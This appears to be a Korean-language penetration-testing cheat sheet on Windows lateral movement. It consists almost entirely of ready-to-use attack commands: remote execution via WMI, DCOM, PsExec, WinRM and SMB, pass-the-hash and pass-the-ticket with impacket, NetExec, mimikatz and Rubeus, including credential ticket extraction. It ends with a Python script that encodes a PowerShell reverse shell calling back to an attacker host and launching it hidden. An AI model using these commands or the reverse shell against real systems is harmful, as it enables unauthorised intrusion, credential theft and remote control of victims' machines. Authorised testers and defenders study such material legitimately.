Lateral Movement
네트워크 내에서 다른 시스템으로 이동하는 기법입니다.
WMI (Windows Management Instrumentation)
wmic
# 프로세스 생성
wmic /node:<RHOST> /user:<USERNAME> /password:<PASSWORD> process call create "cmd"
wmic /node:<RHOST> /user:<USERNAME> /password:<PASSWORD> process call create "powershell -enc <BASE64>"
# 원격 명령 실행
wmic /node:<RHOST> /user:<DOMAIN>\<USERNAME> /password:<PASSWORD> process call create "cmd.exe /c whoami > C:\output.txt"
PowerShell WMI
# 자격증명 저장
$username = '<USERNAME>'
$password = '<PASSWORD>'
$secureString = ConvertTo-SecureString $password -AsPlaintext -Force
$credential = New-Object System.Management.Automation.PSCredential $username, $secureString
# 명령 실행
Invoke-WmiMethod -Class Win32_Process -Name Create -ArgumentList "cmd" -ComputerName <RHOST> -Credential $credential
# Get-WmiObject
Get-WmiObject -Class Win32_Process -ComputerName <RHOST> -Credential $credential
DCOM (Distributed Component Object Model)
CIM 세션
# 자격증명 설정
$username = '<USERNAME>'
$password = '<PASSWORD>'
$secureString = ConvertTo-SecureString $password -AsPlaintext -Force
$credential = New-Object System.Management.Automation.PSCredential $username, $secureString
# DCOM 세션
$options = New-CimSessionOption -Protocol DCOM
$session = New-CimSession -ComputerName <RHOST> -Credential $credential -SessionOption $options
# 명령 실행
$command = 'powershell -enc <BASE64>'
Invoke-CimMethod -CimSession $session -ClassName Win32_Process -MethodName Create -Arguments @{CommandLine=$command}
PSExec
Sysinternals PSExec
# 기본 사용
PsExec.exe \\<RHOST> -u <DOMAIN>\<USERNAME> -p <PASSWORD> cmd
# 시스템 권한
PsExec.exe \\<RHOST> -u <DOMAIN>\<USERNAME> -p <PASSWORD> -s cmd
# 파일 복사 및 실행
PsExec.exe \\<RHOST> -u <DOMAIN>\<USERNAME> -p <PASSWORD> -c payload.exe
impacket-psexec
# 비밀번호 인증
impacket-psexec <DOMAIN>/<USERNAME>:<PASSWORD>@<RHOST>
# Pass-the-Hash
impacket-psexec -hashes :<NTHASH> <DOMAIN>/<USERNAME>@<RHOST>
# Kerberos
export KRB5CCNAME=ticket.ccache
impacket-psexec -k -no-pass <DOMAIN>/<USERNAME>@<RHOST>
WinRM
PowerShell Remoting
# 자격증명
$username = '<USERNAME>'
$password = '<PASSWORD>'
$secureString = ConvertTo-SecureString $password -AsPlaintext -Force
$credential = New-Object System.Management.Automation.PSCredential $username, $secureString
# 세션 생성
$session = New-PSSession -ComputerName <RHOST> -Credential $credential
# 명령 실행
Invoke-Command -Session $session -ScriptBlock { whoami }
Invoke-Command -Session $session -ScriptBlock { Get-Process }
# 대화형 세션
Enter-PSSession -Session $session
# 세션 종료
Remove-PSSession -Session $session
evil-winrm
# 기본 연결
evil-winrm -i <RHOST> -u <USERNAME> -p <PASSWORD>
# Pass-the-Hash
evil-winrm -i <RHOST> -u <USERNAME> -H <NTHASH>
# SSL
evil-winrm -i <RHOST> -u <USERNAME> -p <PASSWORD> -S
# 스크립트 실행
evil-winrm -i <RHOST> -u <USERNAME> -p <PASSWORD> -s /path/to/scripts
RDP
xfreerdp
# 기본 연결
xfreerdp /u:<USERNAME> /p:<PASSWORD> /v:<RHOST>
# 도메인 인증
xfreerdp /u:<USERNAME> /p:<PASSWORD> /d:<DOMAIN> /v:<RHOST>
# Pass-the-Hash
xfreerdp /u:<USERNAME> /pth:<NTHASH> /v:<RHOST>
# 드라이브 공유
xfreerdp /u:<USERNAME> /p:<PASSWORD> /v:<RHOST> /drive:share,/tmp
# 클립보드 공유
xfreerdp /u:<USERNAME> /p:<PASSWORD> /v:<RHOST> +clipboard
# 전체 화면
xfreerdp /u:<USERNAME> /p:<PASSWORD> /v:<RHOST> /f
rdesktop
rdesktop -u <USERNAME> -p <PASSWORD> <RHOST>
rdesktop -u <USERNAME> -p <PASSWORD> -d <DOMAIN> <RHOST>
SMB
smbclient
# 연결
smbclient //<RHOST>/<SHARE> -U <USERNAME>
# Pass-the-Hash
smbclient //<RHOST>/<SHARE> -U <USERNAME> --pw-nt-hash <NTHASH>
# 명령 실행 (impacket)
smbexec.py <DOMAIN>/<USERNAME>:<PASSWORD>@<RHOST>
smbexec.py -hashes :<NTHASH> <DOMAIN>/<USERNAME>@<RHOST>
Pass-the-Hash
impacket
# PSExec
impacket-psexec -hashes :<NTHASH> Administrator@<RHOST>
# WMIExec
impacket-wmiexec -hashes :<NTHASH> Administrator@<RHOST>
# SMBExec
impacket-smbexec -hashes :<NTHASH> Administrator@<RHOST>
# DCOMExec
impacket-dcomexec -hashes :<NTHASH> Administrator@<RHOST>
CrackMapExec / NetExec
netexec smb <RHOST> -u Administrator -H <NTHASH>
netexec smb <RHOST> -u Administrator -H <NTHASH> -x "whoami"
Pass-the-Ticket
mimikatz
# 티켓 추출
sekurlsa::tickets /export
# 티켓 주입
kerberos::ptt ticket.kirbi
# 확인
klist
# 접근
dir \\<DC>\c$
Rubeus
# 티켓 추출
.\Rubeus.exe dump /nowrap
# 티켓 주입
.\Rubeus.exe ptt /ticket:<BASE64>
Payload 인코딩
PowerShell Reverse Shell
# revshell_encoder.py
import sys
import base64
payload = '$client = New-Object System.Net.Sockets.TCPClient("<LHOST>",<LPORT>);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()'
cmd = "powershell -nop -w hidden -e " + base64.b64encode(payload.encode('utf16')[2:]).decode()
print(cmd)
사용
python3 revshell_encoder.py
powershell -nop -w hidden -e <BASE64>
참고
- WMI는 포트 135, 445 사용
- DCOM은 포트 135 사용
- WinRM은 포트 5985 (HTTP), 5986 (HTTPS) 사용
- RDP는 포트 3389 사용
- PSExec는 포트 445 사용
- Pass-the-Hash는 NTLM 해시로 인증
- Pass-the-Ticket은 Kerberos 티켓 사용
- 모든 기법은 적절한 권한 필요